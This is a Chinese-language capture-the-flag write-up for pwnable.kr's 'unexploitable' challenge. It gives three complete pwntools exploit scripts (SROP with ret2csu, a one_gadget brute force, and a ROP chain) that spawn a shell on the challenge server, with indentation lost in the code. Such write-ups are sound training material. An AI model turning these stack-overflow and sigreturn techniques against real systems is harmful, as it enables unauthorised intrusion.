unexploitable

1
2
3
4
5
6
7
一级标题:<center><font color="red"> 2017 </font></center>
二级标题:<center><font color="green"> quals </font></center>
三级标题:<center><font color="orange"> cfi </font></center>

SROP、vsyscall

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

 pwnable.kr unexploitable 

参考博文:pwn题练习之unexploitable | blingbling’s blog (blingblingxuanxuan.github.io)

 SROP+ret2csu解法 

参考链接:SROP - CTF Wiki (ctf-wiki.org)

参考博文:pwnable.kr unexploitable题解_落日领航员的博客-CSDN博客

参考博文:Srop 原理与利用方法 - z2yh - 博客园 (cnblogs.com)

signal2-stack

 解题思路 

        1、利用 __libc_csu_init(ret2csu) 实现多次执行 main()、read()

        2、向bss段读入伪造的sigFrame

        3、向bss段读入 “/bin/sh” 字符串

        4、栈迁移,使 rsp、rbp 指向 sigFram 附近 (目标是要使rbp上的ret为sigFram的rt_sigreturn表项)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
##!/usr/bin/env python
# -*- coding: utf-8 -*-
#解题环境:ubuntu18.04
from pwn import *

context(arch="amd64",os="linux",log_level="debug")

sh = ssh(host='pwnable.kr',user='unexploitable',password='guest',port=2222)
io = sh.run('./unexploitable')

read = 0x601000
main = 0x400544
bss_frame = 0x601028
bss_bin_sh = 0x601018

pop_rbp = 0x400540
leave_addr = 0x400576

csu_1 = 0x4005e6
csu_2 = 0x4005d0
syscall = 0x400560

#构造sigreturn frame
frame = SigreturnFrame(kernel='amd64')
frame.rdi = bss_bin_sh # /bin/sh
frame.rsi = 0
frame.rdx = 0
frame.rax = 59
frame.rip = syscall

def csu_read(zero,addr,num,retn,addr1,addr2):
payload = 24*'a'
payload += p64(csu_1) # retn
payload += p64(0) # rsp+0
payload += p64(0) # rsp+0x8 rbx 这样设置可以过cmp rbx,rbp
payload += p64(1) # rsp+0x10 rbp 这样设置可以过cmp rbx,rbp
payload += p64(read) # rsp+0x18 r12 call
payload += p64(zero) # rsp+0x20 r13 -> edi 第一个参数
payload += p64(addr) # rsp+0x28 r14 -> rsi 第二个参数
payload += p64(num) # rsp+0x30 r15 -> rdx 第三个参数
payload += p64(csu_2) # retn
payload += 56*'a' # 56 = 0x38
payload += p64(retn) # retn
payload += p64(addr1)
payload += p64(addr2)
io.send(payload)
sleep(3)

csu_read(0,bss_frame,0x500,main,0,0)
payload = p64(0) + p64(syscall) + str(frame) #bytes(frame)
io.send(payload)
sleep(3)

csu_read(0,bss_bin_sh,15,pop_rbp,bss_frame,leave_addr)
io.send("/bin/sh".ljust(15,'\x00'))

sleep(3)

io.interactive()

 暴力破解 

参考链接:vsyscall bypass pie - PwnKi - 博客园 (cnblogs.com)

参考链接:pwn题练习之unexploitable | blingbling’s blog (blingblingxuanxuan.github.io)

 解题思路 

1、爆破的话一定要知道libc中execve(“/bin/sh”,,)的地址,这就需要本题所依赖的libc库

1
2
3
4
5
#远程查看题目依赖的libc库
$ ldd unexploitable #得知目录/lib/x86_64-linux-gnu/libc.so.6
#进入远程服务器/lib/x86_64-linux-gnu/目录下发现libc.so.6是libc-2.23.so的软链接
#我们要下载的是libc而不是软链接,所以scp libc-2.23.so到本地
$ scp -P 2222 unexploitable@pwnable.kr:/lib/x86_64-linux-gnu/libc-2.23.so ./

2、查找execve(“/bin/sh”,,)地址,这里我们选择第四个0xf1247,因为只需要覆盖低三字节即可,所以我们只需要把后面的247覆盖好就行,其他的随机爆破即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ one_gadget libc-2.23.so 
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

3、找到栈上指向 libc 的地址

4、利用 vsyscall 作为 ret 跳板将 ret 指向 1 找到的地址

5、爆破低3字节

        由于ret时rsp指向的栈顶位置就是libc_start_main地址,因此无需使用vsyscall,直接覆盖返回地址的低3个字节为我们gadget的地址就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

s = ssh(host='pwnable.kr',user='unexploitable',password='guest',port=2222)

while True:
try:
myio = s.run('./unexploitable')
payload = b"a"*24 + b"\x47\xc2\xc9" # 0xc9c247 后三位为247即可
sleep(3)
myio.send(payload)
sleep(0.03)
myio.sendline("ls")
sleep(0.03)
myio.recv()
myio.sendline("cat flag")
sleep(0.03)
myio.recv()
myio.interactive()
break
except EOFError:
myio.close()

注:该题设置了sleep(3),不利于爆破

 ROP 

 解题思路 

        1、利用 __libc_csu_init(ret2csu) 实现多次执行 main()、read()

        2、将”/bin/sh”写入0x601028地址处,将p64(0x400560)即syscall指令地址写入0x601030(bss段)

        3、利用 __libc_csu_init 重调read()读入59个字符(这样可以将rax的值赋为59),接着立即重调 csu 构造 execve(“/bin/sh”,0,0); 并跳转至 syscall 执行系统调用号为59的 execve() 调用。
        4、解释:main函数中有一次read(),csu中又有一次read()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
第一步 
利用main函数中的read()实现调用csu,

第二步
利用csu构造read()函数向bss段读入"/bin/sh"及syscall并重新跳转至main函数。

第三步
利用重新跳转至的main函数重新调用csu,

第四步
利用重新调用的csu重新构造read()并调用,读入59个字节数据使rax被赋值为59,
read()读入多少个字符,read()结束后rax值就为多少,细节原理可能得去读read源代码才知道,甚至读源代码编译过后的汇编代码才知道,这里就只说个结论吧,遇见一个记一个,

第五步
则立即跳转至csu利用已被赋值为59的rax以及syscall构造出execve("/bin/sh",0,0)获取shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
##!/usr/bin/env python
# -*- coding: utf-8 -*-
#解题环境:ubuntu18.04
from pwn import *

context(arch="amd64",os="linux",log_level="debug")

sh = ssh(host='pwnable.kr',user='unexploitable',password='guest',port=2222)
io = sh.run('./unexploitable')

read = 0x601000
main = 0x400544
bss_frame = 0x601028
bss_bin_sh = 0x601018

pop_rbp = 0x400540
leave_addr = 0x400576

csu_1 = 0x4005e6
csu_2 = 0x4005d0
syscall = 0x400560

#构造sigreturn frame
frame = SigreturnFrame(kernel='amd64')
frame.rdi = bss_bin_sh # /bin/sh
frame.rsi = 0
frame.rdx = 0
frame.rax = 59
frame.rip = syscall

def csu_read(zero,addr,num,retn):
payload = 24*'a'
payload += p64(csu_1) # retn
payload += p64(0) # rsp+0
payload += p64(0) # rsp+0x8 rbx 这样设置可以过cmp rbx,rbp
payload += p64(1) # rsp+0x10 rbp 这样设置可以过cmp rbx,rbp
payload += p64(read) # rsp+0x18 r12 call
payload += p64(zero) # rsp+0x20 r13 -> edi 第一个参数
payload += p64(addr) # rsp+0x28 r14 -> rsi 第二个参数
payload += p64(num) # rsp+0x30 r15 -> rdx 第三个参数
payload += p64(csu_2) # retn
payload += 56*'a' # 56 = 0x38
payload += p64(retn) # retn
return payload

def csu_execve(zero,addr,num,retn):
payload = 24*'a'
payload += p64(csu_1) # retn
payload += p64(0) # rsp+0
payload += p64(0) # rsp+0x8 rbx 这样设置可以过cmp rbx,rbp
payload += p64(1) # rsp+0x10 rbp 这样设置可以过cmp rbx,rbp
payload += p64(read) # rsp+0x18 r12 call
payload += p64(zero) # rsp+0x20 r13 -> edi 第一个参数
payload += p64(addr) # rsp+0x28 r14 -> rsi 第二个参数
payload += p64(num) # rsp+0x30 r15 -> rdx 第三个参数
payload += p64(csu_2) # retn

payload += p64(0) # rsp+0
payload += p64(0) # rsp+0x8 rbx 这样设置可以过cmp rbx,rbp
payload += p64(1) # rsp+0x10 rbp 这样设置可以过cmp rbx,rbp
payload += p64(syscall_bss) # rsp+0x18 r12 call
payload += p64(bin_sh_bss) # rsp+0x20 r13 -> edi 第一个参数
payload += p64(0) # rsp+0x28 r14 -> rsi 第二个参数
payload += p64(0) # rsp+0x30 r15 -> rdx 第三个参数

payload += p64(retn) # retn

return payload

payload = csu_read(0,bss_frame,0x500,main)
io.send(payload)
sleep(3)
io.sendline(b"/bin/sh\x00"+p64(0x400560))
sleep(3)

bin_sh_bss = 0x601028
syscall_bss = 0x601030

payload = csu_execve(0,0x601100,59,csu_2)
io.send(payload)
sleep(3)
io.sendline(b"e"*58)

io.interactive()


2017